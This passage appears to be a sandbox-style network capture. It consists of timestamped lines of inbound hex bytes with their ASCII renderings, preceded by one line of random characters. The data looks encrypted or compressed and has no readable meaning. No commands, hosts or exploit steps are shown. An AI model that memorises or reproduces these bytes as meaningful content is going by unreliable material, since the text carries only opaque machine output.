s03@Qr9<7EJX[?)q\|%@2"UwVpyeCys+B>k^x?$&U^g
2023-01-25 08:44:47 UTC	641	IN	Data Raw: e4 bc 7e c3 8f 29 83 11 9b 45 f1 df 04 dc f4 6a 3d 16 87 02 2f 1b 85 71 d3 fd b2 ce 5c b9 df 0d 76 a4 44 a4 32 af 51 94 fc 27 e0 91 0a e3 22 be f0 54 72 f4 a3 31 1f 6f 71 cf 13 27 c6 72 b8 9a 4c d5 55 9a 0c c1 4d 57 c9 92 a0 f2 9d 33 84 a7 ed 3e bb 0e a2 3d d3 55 9d 1f 14 c6 81 ea 94 5d cd 26 b3 32 bf a7 2d e2 fc 6f 12 e9 eb 24 cb bb 9e 6f cb 53 d2 68 ab d6 1d 94 96 54 c3 55 d9 0c a0 d5 8a a5 b8 ef e9 c4 13 4a d8 38 b0 b4 64 69 4e a5 be ef 09 f7 4a cf 01 18 c2 67 f3 18 a3 14 ea e7 48 4d ae 0a 57 01 c5 40 e2 27 6b d7 59 0d 7c e3 9a c5 b7 f4 d0 dd 38 6c d4 ee da bb de 0f c4 16 a1 7c 31 67 f1 7c 4a e5 c7 4b 40 5c 43 aa 6f a4 4c 8b f3 4e 23 b9 2a 48 87 e1 1a 57 49 96 ce 20 5e 52 71 da 97 84 1b 34 74 71 cc 27 11 59 5d 2c 71 49 f1 8f 51 f7 9f d9 22 d6 02 1e e4 Data Ascii: ~)Ej=/q\vD2Q'"Tr1oq'rLUMW3>=U]&2-o$oShTUJ8diNJgHMW@'kY\|8l\|1g\|JK@\CoLN#*HWI ^Rq4tq'Y],qIQ"
2023-01-25 08:44:47 UTC	657	IN	Data Raw: eb 0f ed 1e 0a 89 ac 4f bc e1 48 b2 28 32 f4 aa f7 d4 0d 98 f7 40 df ba 93 4b 3b 39 ce db 2e dd 36 3c e2 d7 8f db a1 9f 4d 43 b3 95 20 97 1d cb 19 f7 e8 9b 08 d0 77 36 e5 5f c6 9f 0d 91 28 e9 4c 2b d7 4a ce bf a5 c1 1d 06 00 22 26 78 eb 43 6a e9 d5 7e fa 20 70 64 01 a6 6e f4 87 70 d4 7e 5c 35 8b 64 b9 73 c0 2a cd 6d 80 d3 90 67 fc 9c c4 45 8f 51 0f 1e c4 ec 6b e5 d9 33 72 89 dd 6c e2 69 52 47 d8 a6 87 8d 6c 23 f7 09 4c ff 57 23 6c 80 7a 2c 4d 3c 03 47 8e 6a ec 55 3a 47 73 7a cf fe be 8a 5d 10 ca 5e a7 d6 6d df fd fc 35 c5 a6 1b 92 9f d8 c0 4e c8 1c a1 c0 fc f0 58 9b d4 fd 2c e2 af ff da 7c 31 e7 0f 70 7d 09 9b 32 4f 5a 0d be a5 b6 a9 8c b9 97 0c 81 ae 6f 84 f8 5a 6d 48 9b fe 21 e4 6b a2 36 13 a6 ec 6d ad 60 a8 9f dd bd 77 a9 b3 e2 74 07 c2 4a bf 1f 71 84 Data Ascii: OH(2@K;9.6<MC w6_(L+J"&xCj~ pdnp~\5ds*mgEQk3rliRGl#LW#lz,M<GjU:Gsz]^m5NX,\|1p}2OZoZmH!k6m`wtJq
2023-01-25 08:44:47 UTC	673	IN	Data Raw: 9b 20 1e da 35 e3 fe eb cc cf 71 14 39 3c 30 e9 6c 02 1c 9d 9f 03 f9 05 4e 02 9e 67 db d4 d5 8c ab 07 c0 7e 83 4b 61 92 0a 4e 86 52 69 29 aa 5e e8 89 f4 2b f5 19 d4 20 a1 e2 bc 46 c9 3d 43 00 ba b1 d3 68 cb dc 8b a9 99 1c 2f 7c 7d a6 b3 3c a2 8d c3 6a b7 ff 38 4a d8 3e 7a 65 f8 10 8c dd 1a aa 07 bc 26 16 50 6d ce 4c c6 55 39 9e 28 34 89 97 ed f8 5b 13 80 0d 16 c8 dd 88 e2 45 e5 e1 5a 86 3c fb 47 af f4 53 a2 6d 56 b6 87 8a 01 2c 4b b2 68 80 0a e3 7f 9d 99 ea 6f 12 37 39 4d 80 96 85 2a 38 96 1c ee b8 04 c9 40 38 36 ba e5 42 d3 bf 02 ab 68 77 3f 8b 64 13 ef 0d d3 0a 9d 13 09 7d c5 fb fe 98 a2 3d d0 ef 80 ef 65 3e e3 d1 bd cc b1 c3 bc 7d 45 a9 65 17 f5 05 9e b9 7e bf c4 c8 2c d4 b7 32 ff 27 6c 23 01 bf c0 d4 26 19 37 36 74 da fb 79 50 8a af 82 9e 1d 54 07 e4 Data Ascii: 5q9<0lNg~KaNRi)^+ F=Ch/\|}<j8J>ze&PmLU9(4[EZ<GSmV,Kho79M*8@86Bhw?d}=e>}Ee~,2'l#&76tyPT
2023-01-25 08:44:47 UTC	689	IN	Data Raw: dc fb 02 fc 71 fa 6d d7 a0 3f 74 0a dd ea 3b 76 2d 73 51 8e 9a 92 c1 8b a8 c5 ff e6 67 4b 17 83 fa ae 29 e0 4b 25 f0 ea 88 e1 a4 3d e2 5a 77 88 50 84 f6 38 2b 1b b5 ce 4a 50 c8 3c 4e e7 a7 86 79 bf 7f c9 fc 8e 6a 7d f5 7b 6c 6a 2b 2b 83 69 83 01 48 fb 60 61 3e ba 7e 0a b5 5d 9e b2 7a 6f f0 a0 42 4e f3 a8 92 ad 75 9e 3d 44 52 ce 6b 49 b9 c5 00 31 f6 60 25 74 e4 37 de f0 80 86 29 a6 14 e7 d4 80 c2 f0 01 bd 95 3e 68 ad 0c db 7c d2 ed 6c 14 e8 9f 30 75 5d 81 08 2a 22 ee c4 ba a2 26 94 a2 d1 33 fc d0 88 8c 5c 89 a5 02 92 ae 60 76 d0 42 ef cf d6 63 8b 0f f6 5a 73 25 5a 3b 9c ef 57 8a 5f 3c 8b 5c 44 05 39 61 d8 1f 68 ae b0 9b 8e 8d 37 ea c5 06 98 08 a4 ae af cd 0c 4c ec ac ef d2 d0 38 2e b9 93 67 dc 52 06 49 66 fd 6d c6 2f cc 42 b8 18 b4 14 b3 57 a9 8d 99 ca 8e Data Ascii: qm?t;v-sQgK)K%=ZwP8+JP<Nyj}{lj++iH`a>~]zoBNu=DRkI1`%t7)>h\|l0u]*"&3\`vBcZs%Z;W_<\D9ah7L8.gRIfm/BW
2023-01-25 08:44:47 UTC	705	IN	Data Raw: 9f a2 3f 06 f5 c2 65 66 d2 a3 38 00 15 10 0f 37 94 17 cd 0f ef 45 35 f2 40 41 d9 7a 83 df 57 67 cf 2e c0 e2 32 ee 48 9b af 2d d4 37 4b 2b 9d d6 21 7e 39 3a e7 0f f2 56 c9 58 84 fd f5 65 7e ba 23 85 a3 a1 94 19 59 fa 05 15 eb c2 30 ab 6e e3 5e 47 48 7b 52 6e 09 8e dd 49 9b 40 83 15 58 60 39 66 ee 21 96 b0 bc b2 83 fb fb c9 a6 b7 c5 bd cb 72 f2 02 88 68 b7 03 a3 fa b8 bf f0 0f 5f 79 89 3d 2d 68 36 99 74 44 77 8d 35 f7 75 2f 60 f9 3e b7 1b 47 70 a4 f5 17 37 0d ad db 0f 2b 03 2a 39 60 0d 56 d4 67 e0 b1 4b a6 23 2f c4 94 60 42 fd c8 90 b2 58 88 0a 33 03 ed ec 4b 5f 77 17 af c6 82 c9 1a 69 c8 8c d7 c8 0a c7 34 67 81 bd 57 f0 93 d7 58 e0 f0 a2 04 a4 4c 99 56 ea d0 91 e6 61 6c e1 1d ca f9 8b be ec 8a 29 d6 27 84 41 d1 f1 87 36 34 08 bc 88 15 68 cf ab f0 04 5c ce Data Ascii: ?ef87E5@AzWg.2H-7K+!~9:VXe~#Y0n^GH{RnI@X`9f!rh_y=-h6tDw5u/`>Gp7+*9`VgK#/`BX3K_wi4gWXLVal)'A64h\
2023-01-25 08:44:47 UTC	721	IN	Data Raw: 0a 3f 30 32 74 3f 01 0f 06 27 b1 fe 45 5a 46 ba 0c 0c 70 3a 39 fd 35 be cd 7f bd 8b dc 7c b3 8f 08 28 56 87 53 89 be 9c 27 a6 05 7b 22 42 7b d7 21 e9 23 ec 16 a6 93 8e df 29 41 4d 06 9e df 89 81 ca 1d 5f 8e ee 4e ae 6d 35 13 3b 6e 7f d3 a3 03 50 93 da d4 31 db 83 9c 16 a4 b6 52 4a 3f 65 1a db 36 90 89 95 1e 08 88 24 35 4b b0 15 d4 74 c9 a6 f5 d5 87 fc 43 5b 50 4f 29 f3 3c ef 26 a2 9f 96 35 13 c5 37 37 61 a7 9e 14 98 e2 0e 5a 7e 86 9e 40 5d 05 ab 6f 7d 07 a0 85 d5 96 51 6a a3 17 64 5a 6d 95 b0 08 32 38 eb b5 7e 09 a4 1b 56 fa d5 1a b4 dc 9d 04 9a c0 6f 17 d6 48 60 4f 6e a6 d4 26 52 f0 63 17 41 d5 4c 85 c2 64 92 48 f6 a5 23 2d 08 1f 41 22 22 78 17 6f 82 54 3a 1c 01 ce f7 d5 be b2 c6 82 7c 67 cd 42 a2 87 37 57 e6 b4 ce 69 5f 8c a3 c8 fb 37 0f dd b1 eb 98 4b Data Ascii: ?02t?'EZFp:95\|(VS'{"B{!#)AM_Nm5;nP1RJ?e6$5KtC[PO)<&577aZ~@]o}QjdZm28~VoH`On&RcALdH#-A""xoT:\|gB7Wi_7K
2023-01-25 08:44:47 UTC	737	IN	Data Raw: 14 d3 c9 34 81 91 bf 61 de 5e 59 c7 91 e9 06 10 41 f6 98 c1 cb 3a 31 46 dd db 6f ad de 7d e5 1c db 12 f5 12 02 14 bc f7 d2 2b 2a 8a 14 b6 c4 dd b9 dc 92 57 7c 27 7c f9 63 3a e2 8b 17 c8 57 80 ea fb 87 b9 78 87 87 c7 4b fd 88 74 be 3b 66 dc ab 21 9f 4d 08 7f 0f 37 51 34 84 a8 6f f0 d2 0f 50 9d da 5f fc d3 6e 86 e3 ca 69 13 38 6d 0e 96 8b 95 d8 2c a3 07 8c d2 f7 b6 40 d4 82 4c 06 f4 f0 b1 5d 13 e0 63 a0 2e 92 0d e8 27 70 9c d0 55 70 a4 7a 0a cd d0 52 39 05 06 b3 1d ae d8 a0 ea 99 52 6b ff 9e b9 bd 67 06 9d e0 16 98 24 b3 5e c6 69 d2 61 9a b6 a9 3d bf 5b c6 8d bb b0 a6 25 3e 3f dc f8 ab fe 34 d9 a5 ef 8f d3 9b b9 b6 a5 14 92 f7 24 de 65 f9 1d 20 98 08 e7 55 af 1f 45 43 b1 b4 0e 7e 8a 79 1b a9 85 ff 27 74 fc e9 fc a4 8f 8b f7 d5 50 8e 91 96 57 f4 0a f8 1d bf Data Ascii: 4a^YA:1Fo}+*W\|'\|c:WxKt;f!M7Q4oP_ni8m,@L]c.'pUpzR9Rkg$^ia=[%>?4$e UEC~y'tPW
2023-01-25 08:44:47 UTC	753	IN	Data Raw: ce f7 d9 31 f3 66 b6 58 6f 6c 31 ab e7 2a a5 af 95 ef e3 d1 ce e4 5b 45 ef 84 d5 ee 6b 8b 06 32 45 82 4d 0b c5 5f cb b0 12 ec ef 87 14 dc 80 0f 23 32 11 ee c1 4f d4 3d 6d 62 4a 69 90 b3 4e c7 98 20 dc 28 ce 5b 42 59 6a cd 13 8c 2d 4d 6c b0 c1 e7 53 d9 0f 3b 29 0a 28 5d 57 3a d7 65 ff 2b 18 c3 c1 d2 87 62 7d 21 c1 74 a3 ed e3 3b d4 8f 84 97 25 3a 4f 76 ae a0 ca 02 4d 9d 50 4c 88 2e e3 22 68 07 2a d7 df c3 17 78 21 04 54 9e 38 dc d9 9a f8 d5 54 8a 60 ff 6b ec 77 36 4e 05 df 53 65 14 44 22 cd 89 85 55 f2 65 ed 43 01 22 16 b5 52 91 33 93 3a 05 3b 9d fd 96 aa a6 0b ea 80 c1 5f 14 88 7e 55 a6 ac 42 7d de 0d 8f d6 29 c3 30 fa e9 f1 44 ac 94 3d 59 88 26 03 d6 49 0b 2f 0f b3 bf fc 8f 59 e6 14 30 f4 b1 8e 8f b9 84 b2 2a 05 1b 83 81 23 36 e1 92 fd 87 33 30 ea 31 13 Data Ascii: 1fXol1[Ek2EM_#2O=mbJiN ([BYj-MlS;)(]W:e+b}!t;%:OvMPL."hx!T8T`kw6NSeD"UeC"R3:;_~UB})0D=Y&I/Y0*#6301
2023-01-25 08:44:47 UTC	769	IN	Data Raw: 49 61 a8 df a8 a6 95 f0 c2 5f 4a cb f4 24 fe 9d d4 2a fb ff a4 d6 d6 7b 5b c8 ca ee 49 e5 03 fb cc 5d f1 b6 48 43 a0 fa 1f 36 6a 77 e0 d8 fa b3 89 33 0e c2 9f 18 b3 bc d0 61 e4 07 0a ae 56 4b 9d 1b 3e b2 3f 96 d4 5f e8 ce 28 d3 fd cc 93 78 fb 81 e1 3c d4 37 e5 bb 07 01 fc c0 c4 23 0c be 47 5e 08 0a 76 67 72 23 3b ab d7 f2 f4 b5 ee 8c 4e a0 a7 e4 47 be 33 fe 1e fa 85 0a 6f 12 9b 3e 4a 27 64 d8 3a 16 2f a1 f2 ea 53 ce 42 22 7a 30 f1 d9 f3 a5 90 22 bc eb c9 88 c3 2d 8f c2 9a 0d 31 ef a7 67 8e 01 e0 2a e2 94 35 33 46 ad 8d 30 6f 1f 6c d6 f5 d4 48 5a 75 8f e9 52 73 8f 58 57 d5 2f e0 b0 b4 bb eb 8b 8a 13 69 51 e4 07 c9 ca 15 82 5c 5f 8f 5a ed 31 ee a9 ca ce f1 f6 95 4d 36 fa c2 78 dc a2 dc bc d0 13 6f 1d bd 4d 37 1a 91 86 28 ef 3b 8c df 24 b6 91 5b ce 12 63 a5 Data Ascii: Ia_J${[I]HC6jw3aVK>?_(x<7#G^vgr#;NG3o>J'd:/SB"z0"-1g53F0olHZuRsXW/iQ\_Z1M6xoM7(;$[c
2023-01-25 08:44:47 UTC	785	IN	Data Raw: 8e ef 4b 88 40 1d b8 c2 0e 5b 6d 93 12 ab 59 56 e0 95 65 62 93 26 9b c8 83 ce 2d 43 c9 aa 14 90 5d 73 64 62 e1 c8 75 e7 25 4f 2e fe bc 04 c6 0a e2 11 71 e0 d1 c7 40 f2 d8 46 6c 71 d2 7b 57 0b 48 0d 2b 70 db 6d f2 ce 9b 23 e7 1e 0c bb 48 b0 c5 bd 3c 20 ef 61 95 3e d6 a5 07 b8 ed 2a 92 60 6a 19 51 15 74 97 2f 45 51 ab 7b ea fc 3e 04 6e b2 c2 4d 95 67 06 97 6a e6 98 0b 4f 2e 20 6e d5 1f 81 20 67 bf 1d 54 fc fc 0e 14 7c 17 8b 19 f8 dc fe 4c 7e b8 a1 ef f8 94 e9 15 e6 55 39 d8 cb e0 64 36 0b c2 60 e4 cd ef a9 68 95 9a 05 da c3 8c a8 f3 31 57 20 cd 34 3f 84 e5 d6 2a 69 03 94 6c c9 26 46 4a 39 48 35 c4 94 ef 45 76 82 52 35 af 01 22 8a 75 7e 9a fb c0 1d ca 87 3b a7 54 81 54 4a de 12 ca 6e cf da 30 f4 0f 27 48 c5 0f 21 25 d7 da bb 3c 35 d8 73 93 7e 6b d4 fa 7d 82 Data Ascii: K@[mYVeb&-C]sdbu%O.q@Flq{WH+pm#H< a>`jQt/EQ{>nMgjO. n gT\|L~U9d6`h1W 4?il&FJ9H5EvR5"u~;TTJn0'H!%<5s~k}
2023-01-25 08:44:47 UTC	801	IN	Data Raw: 0e b5 97 9b b0 7c a4 20 b7 3b 05 ff 32 f9 7a 98 46 86 c5 bb bf 79 4f 7f ed 17 d5 92 de 1c 21 83 16 87 f0 60 dc 93 86 12 51 ca 06 c4 66 23 39 8f 03 5d f1 9f 4d e2 06 b3 80 7f 27 53 56 b9 0a 7c ad 28 7a b0 39 d6 bd 9a 61 e7 d2 9e 20 e3 b6 7d 64 26 7f 26 cc 59 24 01 02 00 f8 d5 e5 9f e0 af 9e 19 a1 e5 bc bb 7c 3e f6 2c 3e 58 f4 ba 6e f6 47 bd 3e b7 8c bf 89 9e e5 5e a1 8d 4b 32 0b 39 d1 cf fb 06 82 e4 4f 12 f5 47 5b a8 fe 99 34 d4 ce 3e a2 57 a7 77 32 20 67 c8 c5 58 b8 9f b8 f1 5d 42 20 c1 63 95 17 9f 0c ba 95 bc 47 cd d9 f8 e3 45 42 71 da cf 3b 67 30 55 fd 19 b6 9e ca 94 65 ca 7e d2 c9 df b7 af ce 30 bd f3 ff 33 a9 dd 00 aa 33 e9 a1 1b 65 79 f0 a7 55 1e e8 c8 d1 b5 d6 7a 5a a3 90 b2 08 49 a5 ac ee bc df a4 8e 40 93 81 90 e6 ff c4 b4 17 f2 fc 9d d9 f8 4d 1d Data Ascii: \| ;2zFyO!`Qf#9]M'SV\|(z9a }d&&Y$\|>,>XnG>^K29OG[4>Ww2 gX]B cGEBq;g0Ue~033eyUzZI@M
2023-01-25 08:44:47 UTC	817	IN	Data Raw: fa 3b 97 d1 02 0e 8e a4 87 89 c6 b2 d7 bb 62 2b c5 8d eb 8c ee 63 9c e7 71 09 03 cf c4 31 0e ad 8a 12 e8 aa 56 81 ea 78 43 a6 df d6 41 03 82 a5 fb e5 a7 3c 15 c2 bc 01 95 b8 b7 9d a8 f2 cb 67 f0 2a ba b7 ce cd 02 e6 7d e7 cb 02 f5 f1 99 bd a6 5b 49 51 5c 15 89 e5 d0 12 21 22 5d f0 dc 9f 17 31 82 12 c3 43 45 e5 d2 7d 6b 7a 1f 13 a6 95 79 b0 3a 56 00 9d 62 e4 da 7b c6 87 9a db db 7a 0a 2d 02 38 81 5e de 57 fa bc 0b 33 9e 6f 40 28 8e 54 a1 9e 2b 07 af 29 20 aa f4 55 52 e5 cf 6b 5e 92 e5 e4 1b 21 2f 87 f6 30 a3 21 b5 99 7c 5d 5c f6 b1 40 4d be f2 41 bb cc f6 5c c3 6a 3e 11 d7 00 d1 66 d5 3d db bb 30 3f 5e 52 38 b7 dd 01 1c 2d eb ba 48 91 b6 5a d7 7c e8 f8 b5 eb 52 e4 a7 9a 42 2b 02 f1 79 2e 0b 9e 37 0a 19 15 64 9e ac d4 6d 7b 24 4b 77 30 21 9d 56 2a e6 b4 d5 Data Ascii: ;b+cq1VxCA<g}[IQ\!"]1CE}kzy:Vb{z-8^W3o@(T+) URk^!/0!\|]\@MA\j>f=0?^R8-HZ\|RB+y.7dm{$Kw0!V
2023-01-25 08:44:47 UTC	833	IN	Data Raw: c9 58 e0 bd f2 4d 0e 78 8d 84 36 4b 09 49 30 df 31 25 92 ff 01 5a ea 3e aa e3 00 e2 ed cd 54 c4 93 5b bc f9 1d 4a 2f a0 2b 12 1e 58 8f cd 73 c5 91 b1 42 6e b3 a0 2f 94 5f 94 31 e6 43 7e 85 cd 96 1e 53 f1 d5 30 06 65 1a 23 57 f3 cc b1 58 f2 f1 15 b4 36 c9 83 19 93 fc 7f f7 ee c7 0f 7f 9c e5 93 01 64 f9 50 cf 5f 72 98 0e 16 0e ff 0c 5c ce 65 8e 05 3a 8c 98 7d 43 de 4d 26 7e f8 c2 db 47 a2 c3 32 35 04 56 9a b5 63 8d dc fd a2 1f 21 ec f3 df 83 6e f4 2d 59 ee 22 60 28 23 df 24 db 76 2a 1c 12 17 fe d9 07 4e 0f d3 68 9b e8 77 9d b5 0e a3 e6 fe cc f3 db 8e f6 99 22 e1 59 19 cc 23 ba 19 8f 8d 57 2c 88 5d 12 9d e9 c9 6d 99 ff 07 05 fb 1c 41 a0 a9 d1 25 fe e1 6a c3 ed e5 c3 1e b3 98 40 ca 66 61 0e 9c 9f 23 c4 31 e4 bf 1f eb 4e 1a 5c c3 e9 9e 19 d9 0d a9 7e 47 56 54 Data Ascii: XMx6KI01%Z>T[J/+XsBn/_1C~S0e#WX6dP_r\e:}CM&~G25Vc!n-Y"`(#$v*Nhw"Y#W,]mA%j@fa#1N\~GVT
2023-01-25 08:44:47 UTC	849	IN	Data Raw: 0d 9e 7f 50 62 46 d3 2d 6a 53 2d 8d fe 83 e9 04 26 68 a0 f8 95 1b d3 20 77 e0 28 a3 9f c3 34 f1 4d 08 83 bd 09 98 4a 54 90 3a f3 b8 64 78 8a a5 7a a4 ea 56 ef 7f 1d b7 89 9c 14 ce f2 03 e9 00 d0 14 3c 11 af 43 c2 ee 20 55 1b e2 99 8b ce 6b 77 bc 62 4f 17 3c 96 e4 60 47 72 24 49 58 f5 a7 d9 2a 7e d0 5c e8 33 95 f5 b8 a0 f9 7d b3 3c b2 86 05 b2 0c f1 41 a3 92 ec 31 b6 81 f4 27 7d 1e 96 51 f7 ad cf 20 4e 29 8b 22 47 50 ff aa ef d0 0e f4 fa 84 84 b5 bb 48 1b 8c 6f f9 5e 01 31 f0 0d d8 3c 74 16 6d 13 da ef d3 2b c2 57 47 3f ac fc 01 29 7a d7 d2 1c 27 c7 fa 0a 7a 64 bc 13 41 ca 44 ed e2 61 f2 37 13 bb b5 2d c8 3a 37 2d f8 ae d9 d2 7b 38 d2 a8 dc 23 30 79 bb fb 09 76 d8 55 a0 6f 6c 63 8a 04 33 1d 3a f3 57 18 bd fc bd 4e 5d c1 5a c0 4d 03 08 ab c1 ef f7 06 ae 21 Data Ascii: PbF-jS-&h w(4MJT:dxzV<C UkwbO<`Gr$IX*~\3}<A1'}Q N)"GPHo^1<tm+WG?)z'zdADa7-:7-{8#0yvUolc3:WN]ZM!
2023-01-25 08:44:47 UTC	865	IN	Data Raw: 18 61 4e c2 ab 89 31 27 9e 73 dc 69 e3 0c 87 f2 c7 17 ec 67 65 79 89 f7 ec 20 3a b3 23 a2 c1 bc 8b 4f 1c 59 90 89 79 78 20 9f 9f 38 cf ad dc 77 8d 7d db 0f 3f f2 0a ce 41 45 6f e9 d0 69 d5 bc 04 c3 c4 e0 e8 c5 53 66 15 61 3a 4a 21 7c 6b 37 a6 fe 40 ee 6f ef da af 6d d3 2f 6b ad ee d9 f0 a8 4a 6b af d4 3b 20 aa 41 43 fd bc a8 ab 61 e9 87 3b b0 07 4e 95 e7 55 91 80 33 04 6c d4 8c 5b d8 91 4c 2d 45 20 0e 54 56 06 fc b1 55 20 8b 6d 8c 18 11 c1 be 22 d7 45 69 ca c6 a8 8d 25 9a 0d 4d 24 7b 32 7f bd f1 3d d9 80 e3 a3 c8 bd 2d da ae 3d 47 a9 2b 0a 75 89 16 45 76 b1 43 c4 34 52 f6 98 87 d5 f3 32 c1 5e f2 4a 88 e3 c2 7d 75 d1 21 d0 a0 74 4e 9e e5 42 7d 72 70 4c 3a de fe e4 df 04 f2 2f 9d 3b 02 1b 4d ca aa bc c5 cf ae 57 56 3f ed a3 e1 43 84 21 96 e2 c5 a7 ec c6 04 Data Ascii: aN1'sigey :#OYyx 8w}?AEoiSfa:J!\|k7@om/kJk; ACa;NU3l[L-E TVU m"Ei%M${2=-=G+uEvC4R2^J}u!tNB}rpL:/;MWV?C!
2023-01-25 08:44:47 UTC	881	IN	Data Raw: ce 8a 31 af d5 31 d2 b5 76 e9 35 18 07 4a 6f 62 9d 35 6a 3e df 03 2f 00 e7 4c 85 1e 23 3c 68 bf eb 50 5d 1f d7 f4 7e 08 e7 2a 60 1a f0 3d 69 4a 6b 7c a8 92 76 de 8a ae ce 00 1a cc 90 71 d0 b3 1d 3f 59 60 a9 30 9d ad 26 25 f0 47 22 ee c0 14 e4 0d 30 bd 68 e2 97 e4 eb 83 a6 1c d8 2f 32 13 34 20 c9 19 b6 52 25 59 ec 66 9d 96 67 da 48 88 89 84 f0 53 3a 8b e1 cc 5f e6 60 1e ab cd 10 f4 d3 e9 56 e7 3c db 8b 21 2f dc 5e cf 45 b6 e7 2f 60 b4 20 32 c1 1c da 3f 00 06 9e 57 47 a0 0f 37 0a 2f 1f 23 38 62 ec 1f 65 8d 3c 6b af 44 a0 f6 6c 67 a8 67 f3 d7 36 55 24 cb e3 e0 f1 01 28 e7 17 b7 48 1e db b2 5c bc 23 41 b3 39 63 9e f0 12 c2 db e0 90 ae 96 25 80 f1 d5 61 e9 73 0c f6 86 3d fe f9 ef bc 04 78 cd 6e 62 c8 55 cd e5 7a 7b 94 c3 9e 92 5f 41 3f 21 88 f6 29 3b 8f 9b e7 Data Ascii: 11v5Job5j>/L#<hP]~*`=iJk\|vq?Y`0&%G"0h/24 R%YfgHS:_`V<!/^E/` 2?WG7/#8be<kDlgg6U$(H\#A9c%as=xnbUz{_A?!);
2023-01-25 08:44:47 UTC	897	IN	Data Raw: 97 b5 22 6e 7a 25 94 40 38 80 14 c9 94 6a 1e c2 56 73 37 65 9f a1 35 44 26 c9 6d 71 25 5c 17 4c 02 c2 22 e4 2b f5 10 fb 27 91 8b 26 39 c6 bc c9 ff 7a ee 35 2b 81 4a ac c6 71 f4 72 d1 7b f1 92 d2 3e e9 df 07 6d 60 57 82 7d ab 2a ac 83 b6 72 d4 a7 76 03 0b 14 38 66 7e f0 64 a9 68 26 4a a7 b5 f0 a1 2c 04 e8 66 a4 b1 ba 30 92 eb c8 74 cd 22 c0 d2 01 33 61 fb a3 e7 45 b9 1d 69 bd ea 3c a4 e7 15 e1 7c 8c e0 4b f0 8f 4d af 38 17 4c 92 a1 aa b4 3d aa b1 48 aa 64 8d 23 9e 99 40 52 82 8c 6c f9 c2 2e 0b 33 b9 59 ed 32 d9 cc fe 3b 16 bd 5a c7 4e 97 18 8d 1e 12 86 61 9c c9 c5 dc 74 ad f5 eb d8 bf 2d 9d 31 95 12 e0 0d ee 25 86 3b 40 7e f2 7c 00 20 f6 56 6e f8 cb 32 6a e5 cc 9d c6 7d 03 8a 7b f6 e2 54 c9 d8 0f 28 c1 29 f3 2f 33 aa cf 9b e6 11 1f df 1a ed 20 c3 2c 97 7e Data Ascii: "nz%@8jVs7e5D&mq%\L"+'&9z5+Jqr{>m`W}*rv8f~dh&J,f0t"3aEi<\|KM8L=Hd#@Rl.3Y2;ZNat-1%;@~\| Vn2j}{T()/3 ,~
2023-01-25 08:44:47 UTC	913	IN	Data Raw: e9 e5 a9 b4 a1 5c f9 c8 0a 92 eb 71 e9 ae 35 9b 07 67 10 e7 42 5a 43 46 b3 10 00 5f 7a b4 f8 b7 81 ff 1b 5b a8 55 92 28 fb 88 d3 f0 b7 48 be cd ad 06 1d 34 b5 76 30 ec e0 47 7c 99 ff 7e 39 8f d9 04 26 06 9e 32 5a d6 d9 15 e2 89 60 f8 b7 95 8a 12 c2 35 bd 32 15 7f f0 0f 7b 23 0b ee d4 60 41 0f 37 c5 24 5c 67 88 65 e3 32 27 2c e3 f0 e3 2c 5a af a8 46 9a 1a 5c 4f ce da 81 70 5b 96 09 00 06 e3 bf 5b b8 32 95 d9 93 2e ba 35 b2 dd 3e fb ef 60 a0 e0 ac ec b4 b8 1b 0f 54 e5 1e af 8f 15 da fa d9 49 c0 b4 c8 b0 99 8c 05 f1 71 5a 4b a7 e5 e3 8f b2 47 17 4f ed 9f 9c eb 8b ca d1 36 d9 ce 29 fa 81 dd 19 3a 9a 96 31 98 d2 06 ea a9 ea f1 2d 5b a5 83 27 b5 28 39 a3 ab fd 5a 34 a7 5e a7 12 b2 9c 7e 7e 36 a2 fb 5d d4 88 27 1b 62 34 10 26 76 c9 57 4f e5 33 ee f6 55 75 53 0e Data Ascii: \q5gBZCF_z[U(H4v0G\|~9&2Z`52{#`A7$\ge2',,ZF\Op[[2.5>`TIqZKGO6):1-['(9Z4^~~6]'b4&vWO3UuS
2023-01-25 08:44:47 UTC	929	IN	Data Raw: 77 be a5 9e 5a 53 c0 73 e7 82 b3 12 a8 90 02 11 6c a1 fd 31 bb f0 ea 14 fe 62 cd 61 92 e1 a2 b7 d4 31 b7 2a 94 78 aa d7 4a 14 69 0f 86 4f e9 44 f5 17 6f 20 3c a2 f8 7f 35 10 a2 ee f8 1b b8 65 37 f6 49 ce 15 41 a4 3d a3 e9 c9 8b 3e 14 80 fd e6 28 53 36 91 02 37 c7 f7 97 01 ee 9f 29 10 46 74 83 32 36 aa 22 80 a9 e6 d9 d2 79 f2 83 fb 14 09 d0 17 6d 89 60 b2 9c d5 93 4c 5b a1 46 9e b1 c0 ec 8f 2f 13 31 43 73 3d 35 9d 2e 4a af ca 35 61 ca 1f dc 7f e9 ed c8 79 f8 2f 1c a0 7b 3e 87 d8 bb 36 94 bd 2e b0 a4 6e 8c c0 16 35 fa 0a 50 ec 61 9c 2e ca 62 8d 74 29 6f 94 60 6f af f5 2c 12 70 88 87 ca 52 53 2a f4 91 01 25 8e b6 38 ec 44 97 a9 e8 3c 1f 7b 61 f6 c1 49 fe 17 f8 e8 78 86 d4 a7 ec fd f6 a0 52 47 ca 32 df 74 d4 4b 42 11 c9 32 d9 30 4e 39 06 14 99 59 61 27 09 3f Data Ascii: wZSsl1ba1xJiODo <5e7IA=>(S67)Ft26"ym`L[F/1Cs=5.J5ay/{>6.n5Pa.bt)o`o,pRS%8D<{aIxRG2tKB20N9Ya'?
2023-01-25 08:44:47 UTC	945	IN	Data Raw: 9e 02 c4 65 3f de c2 da 0a 08 f3 5a 5d 46 7b 6b 01 00 15 b9 ab 07 28 70 fe 44 dc 99 c4 4a e9 ea c8 74 fd 67 ae db f5 34 f0 29 e1 ca bf d7 4e 6d 9f 27 95 b0 d9 90 9c f6 c8 c6 5e 22 ed 2b be 9b 55 63 2e f6 08 75 07 20 67 eb e3 cf 08 a4 53 7b f3 60 af 45 bd 80 e6 4d 55 ae de 6e e2 73 51 66 7e a4 f0 01 f9 b8 39 13 e9 1a 33 66 28 33 ab df f8 a8 15 52 00 bc 54 fc 6e 58 df a7 b9 7c 8b 79 84 27 0a d0 cd 9f 2b 78 50 5b 67 5a 32 69 da a4 b8 5b fc 75 b8 9b da f2 27 d8 48 21 fe 68 6e 4c 6c 23 f6 ab 87 c5 2f a7 de dd 3e 12 f8 92 d2 00 0a e5 3e 66 49 46 53 fb 99 cd 3c 3a 37 4e 65 3b 18 e7 bb 77 1c fe 5d 81 73 9a 46 86 c1 9b e1 ce d8 d7 4f 33 ba 32 6c 41 93 ae 88 fa 3f 21 91 6b 54 39 29 02 b5 2e 41 4a 57 fe a3 0f 91 bf 